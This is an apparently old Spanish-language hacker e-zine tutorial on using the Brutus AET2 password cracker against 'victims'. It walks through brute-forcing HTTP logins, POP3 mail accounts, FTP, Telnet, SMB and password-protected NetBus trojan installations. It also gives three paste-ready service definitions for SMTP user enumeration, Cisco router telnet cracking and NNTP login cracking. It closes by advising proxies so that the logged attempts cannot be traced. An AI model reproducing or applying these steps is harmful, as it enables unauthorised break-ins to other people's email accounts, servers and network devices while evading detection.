			/***********************\
		  *****|*Brutus - AET2 - by Rah3*|*****
			\***********************/




Hola a todos voy a hablaros de un programa con el q deberiais
 familiarizaros, ya q resulta de mucha utilidad en muchas ocasiones.
Podemos definir el Brutus como un crackeador de passwords remoto
 on-line, es rapido admite hasta 60 conexiones simultaneas (cuidado con esto
que puedes tirar abajo algun servicio), puede llegar 2500 palabras por segundo
<< con dialup ni de coa,  no es bueno excederse en esto casi regula las
conexiones segun tu linea y la calidad de  respuesta que te de el servidor.
Haber empecemos con lo q interesa, lo primero q haremos sera descargar
 el brutus http:/www.hoobie.net/brutus, bien estas son sus
 caracterisiticas:

Podemos utilizar el brutus para sacar passwords:


HTTP (Autentificacion basica)
HTTP (HTLM Form/CGI)
POP3
FTP
SMB (netBIOS)
TELNET
NETBUS

Y a parte podemos configurarlo para petar un servicio q configuremos
 nosotros mismos como smtp, nntpd  etc
entre sus caracteristicas cabe destacar la posibilidar de usar un proxy
 sock(v4) sock(v4.1) y sock(5),  puedes encontrar proxies en
http://www.cyberarmy.com/lists/proxy/ a veces muchos servicios


Tambien dispone de un generador de diccionarios bastante completo, en Tools >>
Wordlist Generator, veamos las opciones que tiene:


Convert list (LF>CRLF) - convierte una lista de palabras en formato unix a formato
dos cambiando los saltos de linea, para usarlo selecionaremos la lista en estilo
unix en input list y en output list el nombre de la lista de salida q keremos.

Only word length - con esta opcion lo q hacemos es coger de una lista
de palabras las q keramos en funcion de su longitud definiremos el
numero de caracteres en word lenght y selecionaremos la lista q keremos
 en input list y la de salida en output

Remove duplicates - esta opcion lo q hace es copiar la lista de entrada
a la q keramos eliminando las palabras duplicadas.

Permutations - esta opcion realiza cualkier tipo de permutaciones sobre
una determinada lista de palabras aadiendo mayusculas minusculas
 invirtiendo la palabra... solo es usar la permutacion q mas nos
interese.

Create new list	- con esta opcion ya no necesitamos una lista de entrada
simplemente crearemos una con los parametros q keramos donde definiremos
el numero de caracteres y las permutaciones como en el apartado anterior
ademas tenemos la opcion de seed word q lo q hace es q nosotros aadimos
unas palabras y vea la lista utilizando esos caracteres.

Create new list for user - aki crearemos una nueva lista en la ke ademas
podremos poner un nombre de usuario del cual partira el programa

Create new list for users - esta es igual q la anterior pero podemos
 selecionar una lista q tengamos con usuarios en input list para q cree
la lista en base a esos users.





Podemos utilizar varios metodos de autentificacion tanto para el modo de
 password como para el modo de usuario:

En Authentication Options: El modo de identificacion del usuario siempre es el
mismo para todos los metodos de ataque que explicaremos detenidamente, hay dos
modos como podras observar "Use Username" el cual usa un diccionario y va
probando uno a uno, o "Single User" que sirve para usar un solo login, el de
la victima y con ese login probara todos los pass mediante los metodos que
vamos a ver ahora.
NOTA: He visto el diccionario de users.txt es pequeito aqui os lo planto
Admin
administrator
test
guest
root
backup

Bueno respecto a servicios ftp estos nombres de usuarios  y alguno mas se les
deniega el acceso como login , bueno esto esta en /etc/ftpusers  en un proftp,
pero asi suele venir en muchos servicios ftp segun los instalas
root
bin
daemon
adm
lp
sync
shutdown
halt
mail
news
uucp
operator
games
nobody

Este archivo puede modificarse, simplemente con aadir + usuarios a quien
deniegen el acceso  y todo depende de quien lo administre, bueno ahora veamos
lo distintos modos de ataque

Para usar distintos metodos de ataque solo tienes que seleccionar en "Pass
Mode" y coger el ataque que mas te convenga
Word list "Ataque por diccionario": No pienses que estamos hablando de el
larouse, si no de una simple lista de palabras, que nos pueden ahorrar trabajo
a diferencia de otros metodos como el brute force ,. para seleccionar el
diccionario solo tienes que ir a Browse y escogerlo
 Combo list:  Para este tipo de ataque tambien se necesita un diccionario, si
la diferencia con el de arriba es que combinan las palabras del diccionario
separadas  por  ":" "_", ej guest:password ver example-combo.txt

Brute force "Ataque por fuerza bruta", este ataque trata de sacar el pass
mediante conbinaciones de  "letras, numeros, caracteres especiales" esto
pueder personalizarlo he incluso limitar el numero de caracteres, cuando
seleccionas este metodo aparece el boton "Range" cuando calcas este se abre un
menu  "Brute Force Generation",  en el cual hay varias opciones:

Digits Only: Solo numeros
Lowercase Alpha: Solo minusculas
Uppercase Alpha: Solo mayusculas
Mixed Alpha: combinacion de mayusculas y minusculas
Alphanumeric: abcd....z
Full Keyspace: Prueba con espacios por ej: Pepe 12
Custom Range: Ahi puedes meter los caracteres que quieras
Min Length: Seleccionas el numero de caracteres minimo que podra tener el pass
Max Length : Aqui seleccionas el numero de caracteres maximo que comprobara



Eleccion de servicio a atacar:

Las 2 primeras opciones HTTP se utilizan para entrar en esas paginas q
 al intentar acceder nos sale una ventana pidiendo login y pass
 utilizaremos uno u otro dependiendo del tipo de autentificacion q
 rekiera dicha web lo comprobaremos probando con ambos tipos., las HTTP  "CGI
application authentication" son las que usan programas CGIs,  para
autentificarse, (podeis mirar el articulo de  Problemas con los CGIs de NORTH
que comenta un poco que son los cgis etc). Para utilizarlos no hay mas q poner
en target por ej www.victima.com o  victima.com  y seleccionar en
autentifications options use username y  pass mode el metodo ke mas nos
convenga como norma general usaremos en  este tipo de webs un dicionario del
idioma en el ke este dicha web. Esto es util sobre todo para esas webs xxx en
las q rekieren ser socio  para entrar claro esta q no sacaremos nada util de
ellas unke estareis  un rato entretenidos xDD.



POP3 bueno esto ya es algo mas interesante usaremos esta opcion para
 petar cuentas de correo de servidores q tenga pop3 activo.
 Selecionamos POP3 y en target escribimos POP3.victima.com por ejemplo:
 (pop3.terra.es) o en su caso la ip, en autentification options
 marcamos use username y single user, y escribiremos en la casilla de
 userid victima.terra.es si la cuenta de la victima es
 (victima@terra.es). Lo escribiremos con punto(.) no arroba(@)  y de
 nuevo usaremos el modo de pass q mas nos interese ya sea dicc, combo o
 brute force.



Bueno pasemos al ftp aunke como vereis la rutina es parecida en todos
 los tipos rekieren pekeas variaciones en cada uno de ellos. En este
 caso nos convendra tener un nombre de usuario del ke trataremos de
 sacar el pass aunke tb podemos buscar nombres de usuario al azar lo
 cual logicamente nos llevara mucho tiempo. Selecionamos type ftp y si
 tenemos un nombre de usuario marcaremos use username y single user
 escribiremos el nombre de usuario por ej: pardillo y selecionaremos el
 metodo dicc, combo... si no tenemos nombre de usuario selecionamos un
 diccionario y marcamos solo la casilla use username.



TELNET pues es facil lo haremos igual q con un ftp pero selecionando
 type telnet claro esta .



SMB (netBIOS) bueno aki tenemos otro servicio del cual tb podemos
 sacar provecho usando el brutus si es q esta protegido, cuanta gente piensa 
que este servicio lo dan solo maquinas con win lo habre oido mil veces, "naa 
tio es un win tiene el 139  abierto" ,cuando hablamos de SMB"Server Message 
Block"SMB es un protocolo idea de IBM mientras desarrollaban un sistema basico 
de E/S para LANS, que luego se llamo NetBIOS, sobre el que luego IBM 
implemento una interfad mejorada de  usuario, llamada  NetBEUI.   NetBIOS se 
puede transportar sobre diferentes protocolos de red: NetBEUI, IPX/SPX y 
TCP/IP, etc. tb se  pueden  ofrecer este servicio en otros sistemas  unices, 
OS/2, BeOS etc, la unica  cosa q tendremos q tener en cuenta a la hora de 
realizar nuestro  atake, en target escribimos la ip de la victima selecionamos 
type  SMB(netBIOS) y ahora en SMB options si se trata de una makina NT
 escribiremos el nombre del dominio si es solo un pc con win2 9x no
 marcaremos esta opcion, a continuacion en autentificacion options ya
 sabeis selecionaremos use username y el modo de pass q mas nos
 convenga.



NETBUS he aki otra utilidad por si olvidamos el pass de alguna victima
 de netbus o simplemente keremos entrar en alguna q hemos encontrao y
 esta protegida con pass. Si conoceis este troyano sabreis q cuando lo
 proteges con pass para entrar solo se rekiere el pass  no el login, por
 eso al selecionar type netbus no podemos selecionar en
 autentifications options la opcion de use username o single user si no
 q solo podemos selecionar la opcion de pass (dicc, combo list ...)
 pues eso haremos lo cual no tiene mayor complicacion.



Ya hemos visto los types q trae el brutus de serie pero no nos vamos a
 kedar ahi, tb podemos crear nuevos types es decir preparar el brutus
 para q se conecte a un determinado servicio usando unas determinadanas
 instruciones q pondremos en el archivo q hagamos.

Ahora os voy a poner un ejemplo de como preparar nuevos types vamos a
 ver uno para (smtp_verificacion_de_usuario),  en la web oficial podeis 
encontrar alguno, te preguntaras como se hacen pues simplemente viendo como 
verifica el servicio el nombre del usuario y la pass, o en algunos casos solo 
las pass , para ello puedes ayudarte un sniffer, netcat o cualquier cliente de 
telnet ya hablaremos de estas utilidades o utilidades parecidas en siguientes 
ezines.

Seria asi:

\/----------------------empieza_codigo----copiar_desde_aki--------\/

[Brutus Application Definition]
Version=AET2
Target=
Port=25
UseUserID=0
userprompt=login
passprompt=passwd
RespString=
HTTPRequestType=POST
useHTTPKeepAlive=1
posResponse=0
IsTelnet=0
IsHTTP=0
IsSMB=0
maPrimaryResponseIsPositive=0
maSecondaryResponseIsPositive=0
maPrimaryResponseAction=13
maSecondaryResponseAction=13
maUserPrefix=""
maUserPostfix=""
maPassPrefix="VRFY "
maPassPostfix=""
maUsePreAuth=1
maMaxAuthsConx=0
HTTPFormFieldUpdate=0
HTTPUseCookies=1
HTTPCookieUpdate=1
HTTPReferer=
CookieNames1=
CookieValues1=
CookieNames2=
CookieValues2=
CookieNames3=
CookieValues3=
CookieNames4=
CookieValues4=
maauthStageStrings1=""
maauthReadLength1=1
maauthSendPostfix1=None
HTTPFormFields1=
HTTPFormFieldValues1=
maauthStageStrings2="220"
maauthReadLength2=1
maauthSendPostfix2=None
HTTPFormFields2=
HTTPFormFieldValues2=
maauthStageStrings3="HELO ."
maauthReadLength3=1
maauthSendPostfix3=CR+LF
HTTPFormFields3=
HTTPFormFieldValues3=
maauthStageStrings4=""
maauthReadLength4=1
maauthSendPostfix4=None
HTTPFormFields4=
HTTPFormFieldValues4=
maauthStageStrings5=""
maauthReadLength5=1
maauthSendPostfix5=None
HTTPFormFields5=
HTTPFormFieldValues5=
maauthStageStrings6=""
maauthReadLength6=1
maauthSendPostfix6=None
HTTPFormFields6=
HTTPFormFieldValues6=
maauthStageStrings7=""
maauthReadLength7=1
maauthSendPostfix7=None
HTTPFormFields7=
HTTPFormFieldValues7=
maauthStageStrings8=""
maauthReadLength8=1
maauthSendPostfix8=None
HTTPFormFields8=
HTTPFormFieldValues8=
maauthStageStrings9=""
maauthReadLength9=1
maauthSendPostfix9=None
HTTPFormFields9=
HTTPFormFieldValues9=
maauthStageStrings10=""
maauthReadLength10=1
maauthSendPostfix10=None
HTTPFormFields10=
HTTPFormFieldValues10=
maauthStageStrings11=""
maauthReadLength11=1
maauthSendPostfix11=None
HTTPFormFields11=
HTTPFormFieldValues11=
maauthStageStrings12="250"
maauthReadLength12=1
maauthSendPostfix12=None
HTTPFormFields12=
HTTPFormFieldValues12=
maauthStageStrings13=""
maauthReadLength13=1
maauthSendPostfix13=CR+LF
HTTPFormFields13=
HTTPFormFieldValues13=
maauthStageStrings14="550"
maauthReadLength14=1
maauthSendPostfix14=None
HTTPFormFields14=
HTTPFormFieldValues14=
maauthStageStrings15="252"
maauthReadLength15=1
maauthSendPostfix15=None
HTTPFormFields15=
HTTPFormFieldValues15=
maauthStageStrings16=""
maauthReadLength16=1
maauthSendPostfix16=None
HTTPFormFields16=
HTTPFormFieldValues16=

/\------------------------fin_de_codigo-----copiar_hasta_aki---------/\

Para utilizar este codigo crearemos un archivo bad pegaremos en el el
 codigo y lo guardamos con el nombre q keramos  por ej:  smtp_b_auth.bad una 
vez guardado solo hay que ir a File > Import Service  y seleccionar el type, 
estos types los puedes configurar en Modify Sequence tb, ahi puedes cambiarlo 
a tu gusto el metodo o la forma  de autentificacion,  tiempo de espera etc , 
lo guardas con la configuracion que tu quieras en File > Export Service.

Este type lo ke hace es utilizar el comado VRFY "verify" (utilizado para 
verificar el nombre  del usuario) q aunke suele estar  desactivado en muchos 
server debido a que puede revelar informacion  tambien  otro comando que puede 
revelar informacion es EXPN (expand) sirve para indicar como se va a resolver 
la direccin de correo del RCPT que le indiquemos, aunque sea antiguo todavia 
hay algunos en los que no lo esta desactivado y lo que  nos permitira es 
comprobar utilizando una lista o dicc de users  comprobar cuales estan 
utlizados o no.

Veamos otro para atakar el password en un router CISCO

\/----------------------empieza_codigo----copiar_desde_aki--------\/

[Brutus Application Definition]
Version=AET2
Target=
Port=23
UseUserID=0
userprompt=
passprompt=
RespString=
HTTPRequestType=GET
useHTTPKeepAlive=1
posResponse=0
IsTelnet=1
IsHTTP=0
IsSMB=0
maPrimaryResponseIsPositive=0
maSecondaryResponseIsPositive=0
maPrimaryResponseAction=13
maSecondaryResponseAction=5
maUserPrefix=""
maUserPostfix=""
maPassPrefix=""
maPassPostfix=""
maUsePreAuth=1
maMaxAuthsConx=0
HTTPFormFieldUpdate=0
HTTPUseCookies=1
HTTPCookieUpdate=1
HTTPReferer=
CookieNames1=
CookieValues1=
CookieNames2=
CookieValues2=
CookieNames3=
CookieValues3=
CookieNames4=
CookieValues4=
maauthStageStrings1=""
maauthReadLength1=1
maauthSendPostfix1=None
HTTPFormFields1=
HTTPFormFieldValues1=
maauthStageStrings2="Password:"
maauthReadLength2=1
maauthSendPostfix2=None
HTTPFormFields2=
HTTPFormFieldValues2=
maauthStageStrings3="cisco"
maauthReadLength3=1
maauthSendPostfix3=CR+LF
HTTPFormFields3=
HTTPFormFieldValues3=
maauthStageStrings4=">"
maauthReadLength4=1
maauthSendPostfix4=None
HTTPFormFields4=
HTTPFormFieldValues4=
maauthStageStrings5="enable"
maauthReadLength5=1
maauthSendPostfix5=CR+LF
HTTPFormFields5=
HTTPFormFieldValues5=
maauthStageStrings6=""
maauthReadLength6=1
maauthSendPostfix6=None
HTTPFormFields6=
HTTPFormFieldValues6=
maauthStageStrings7=""
maauthReadLength7=1
maauthSendPostfix7=None
HTTPFormFields7=
HTTPFormFieldValues7=
maauthStageStrings8=""
maauthReadLength8=1
maauthSendPostfix8=None
HTTPFormFields8=
HTTPFormFieldValues8=
maauthStageStrings9=""
maauthReadLength9=1
maauthSendPostfix9=None
HTTPFormFields9=
HTTPFormFieldValues9=
maauthStageStrings10=""
maauthReadLength10=1
maauthSendPostfix10=None
HTTPFormFields10=
HTTPFormFieldValues10=
maauthStageStrings11=""
maauthReadLength11=1
maauthSendPostfix11=None
HTTPFormFields11=
HTTPFormFieldValues11=
maauthStageStrings12="Password:"
maauthReadLength12=1
maauthSendPostfix12=None
HTTPFormFields12=
HTTPFormFieldValues12=
maauthStageStrings13=""
maauthReadLength13=1
maauthSendPostfix13=CR+LF
HTTPFormFields13=
HTTPFormFieldValues13=
maauthStageStrings14="Password:"
maauthReadLength14=1
maauthSendPostfix14=None
HTTPFormFields14=
HTTPFormFieldValues14=
maauthStageStrings15="% Bad passwords"
maauthReadLength15=1
maauthSendPostfix15=None
HTTPFormFields15=
HTTPFormFieldValues15=
maauthStageStrings16=""
maauthReadLength16=1
maauthSendPostfix16=None
HTTPFormFields16=
HTTPFormFieldValues16=

/\------------------------fin_de_codigo-----copiar_hasta_aki---------/\

Veamos otro mas para atakar el metodo de autentificacion q usan los servidores 
que  proporcionan servicios nntpd "Network News Transfer Protocol" como podras 
observar en el codigo  usa el puerto 119

\/----------------------empieza_codigo----copiar_desde_aki--------\/

[Brutus Application Definition]
Version=AET2
Target=
Port=119
UseUserID=1
userprompt=
passprompt=
RespString=
HTTPRequestType=POST
useHTTPKeepAlive=0
posResponse=0
IsTelnet=0
IsHTTP=0
IsSMB=0
maPrimaryResponseIsPositive=0
maSecondaryResponseIsPositive=1
maPrimaryResponseAction=0
maSecondaryResponseAction=0
maUserPrefix="AUTHINFO USER "
maUserPostfix=""
maPassPrefix="AUTHINFO PASS "
maPassPostfix=""
maUsePreAuth=0
maMaxAuthsConx=0
HTTPFormFieldUpdate=0
HTTPUseCookies=1
HTTPCookieUpdate=1
HTTPReferer=
CookieNames1=
CookieValues1=
CookieNames2=
CookieValues2=
CookieNames3=
CookieValues3=
CookieNames4=
CookieValues4=
maauthStageStrings1=""
maauthReadLength1=1
maauthSendPostfix1=None
HTTPFormFields1=
HTTPFormFieldValues1=
maauthStageStrings2=""
maauthReadLength2=1
maauthSendPostfix2=None
HTTPFormFields2=
HTTPFormFieldValues2=
maauthStageStrings3=""
maauthReadLength3=1
maauthSendPostfix3=None
HTTPFormFields3=
HTTPFormFieldValues3=
maauthStageStrings4=""
maauthReadLength4=1
maauthSendPostfix4=None
HTTPFormFields4=
HTTPFormFieldValues4=
maauthStageStrings5=""
maauthReadLength5=1
maauthSendPostfix5=None
HTTPFormFields5=
HTTPFormFieldValues5=
maauthStageStrings6=""
maauthReadLength6=1
maauthSendPostfix6=None
HTTPFormFields6=
HTTPFormFieldValues6=
maauthStageStrings7=""
maauthReadLength7=1
maauthSendPostfix7=None
HTTPFormFields7=
HTTPFormFieldValues7=
maauthStageStrings8=""
maauthReadLength8=1
maauthSendPostfix8=None
HTTPFormFields8=
HTTPFormFieldValues8=
maauthStageStrings9=""
maauthReadLength9=1
maauthSendPostfix9=None
HTTPFormFields9=
HTTPFormFieldValues9=
maauthStageStrings10="200"
maauthReadLength10=1
maauthSendPostfix10=None
HTTPFormFields10=
HTTPFormFieldValues10=
maauthStageStrings11=""
maauthReadLength11=1
maauthSendPostfix11=CR+LF
HTTPFormFields11=
HTTPFormFieldValues11=
maauthStageStrings12="381"
maauthReadLength12=1
maauthSendPostfix12=None
HTTPFormFields12=
HTTPFormFieldValues12=
maauthStageStrings13=""
maauthReadLength13=1
maauthSendPostfix13=CR+LF
HTTPFormFields13=
HTTPFormFieldValues13=
maauthStageStrings14="502"
maauthReadLength14=1
maauthSendPostfix14=None
HTTPFormFields14=
HTTPFormFieldValues14=
maauthStageStrings15="281"
maauthReadLength15=1
maauthSendPostfix15=None
HTTPFormFields15=
HTTPFormFieldValues15=
maauthStageStrings16=""
maauthReadLength16=1
maauthSendPostfix16=None
HTTPFormFields16=
HTTPFormFieldValues16=

/\------------------------fin_de_codigo-----copiar_hasta_aki---------/\


Kiero recomendaros q siempre q engacheis el brutus a alguna victima no
 lo hagais directamente recomiendo q useis un proxy, o cualkier otro
 metodo para mantener el anonimato pq todos los intentos q hagais
 kedaran logeados.

Bueno creo q no me dejo nd espero q os resulte util esta explicaion y
 si no pos a joderse xDD.

Podeis reanudar vuestro "ataque": el brutus guarda el utlimo ataque en 
autosave.bru, puedes reanudarlo solo con ir a File > Load Session,  asi como 
guardar tus ataques en Save Session con el nombrequequieras.bru

Para cualkier duda preguntar por mail con asunto "Rah3" a esta direcion

disidents@hotmail.com




